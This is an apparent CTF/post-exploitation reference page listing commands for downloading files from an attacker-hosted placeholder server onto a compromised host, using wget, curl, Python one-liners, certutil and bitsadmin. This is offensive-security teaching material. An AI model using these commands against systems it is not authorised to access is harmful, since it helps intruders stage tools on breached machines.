> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/post-exploitation/file-transfers/general-download-methods.md).

# General download methods

Use this page when you need a fast download option on a compromised host.

In these examples, the **attacker** hosts the file at `http://<ip>/file.txt`.

Run the commands below on the **compromised host**.

{% hint style="info" %}
**Attacker** means your box, Pwnbox, or redirector.

**Compromised host** means the machine you already accessed.
{% endhint %}

### Linux download methods

**Compromised host — run one of these commands**

#### `wget`

Use this when `wget` is available and outbound web traffic works.

```bash
wget http://<ip>/file.txt
wget http://<ip>/file.txt -O /tmp/file.txt
wget https://<ip>/file.txt --no-check-certificate
```

#### `curl`

Use this when `curl` is present or you want flexible request handling.

```bash
curl http://<ip>/file.txt
curl http://<ip>/file.txt -o /tmp/file.txt
curl https://<ip>/file.txt -k
```

#### Python

Use this when common shell tools are missing but Python exists.

```bash
python3 -c "import urllib.request; urllib.request.urlretrieve('http://<ip>/file.txt', 'file.txt')"
python3 -c "import requests; open('file.txt','wb').write(requests.get('http://<ip>/file.txt').content)"
python2 -c "import urllib; urllib.urlretrieve('http://<ip>/file.txt', 'file.txt')"
```

### Windows download methods

**Compromised host — run one of these commands**

#### `certutil`

Use this when PowerShell is restricted but built-in binaries still work.

```cmd
certutil -urlcache -split -f http://<ip>/file.txt file.txt
```

#### `bitsadmin`

Use this on older Windows systems where `bitsadmin` is still available.

```cmd
bitsadmin /transfer job http://<ip>/file.txt C:\Users\Public\file.txt
```

### Related pages

* [Windows File Transfer Methods-Download](/capcap/readme/ctf-modules/post-exploitation/file-transfers/windows-file-transfer-methods-download.md)
* [Linux File Transfer Download](/capcap/readme/ctf-modules/post-exploitation/file-transfers/linux-file-transfer-download.md)


---

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